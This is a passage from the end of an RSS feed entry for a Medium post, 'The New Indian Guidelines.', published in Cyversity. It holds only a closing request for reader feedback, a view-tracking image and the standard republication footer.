this!</figcaption></figure><p><strong>Please leave your valuable feedback! Let me see your Digital Footprint, C’mon! I am sure it would be nice!</strong></p><h3>Thank you!</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=870d6a09bc2b" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyversity/the-new-indian-guidelines-870d6a09bc2b">The New Indian Guidelines.</a> was originally published in <a href="https://medium.com/cyversity">Cyversity</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>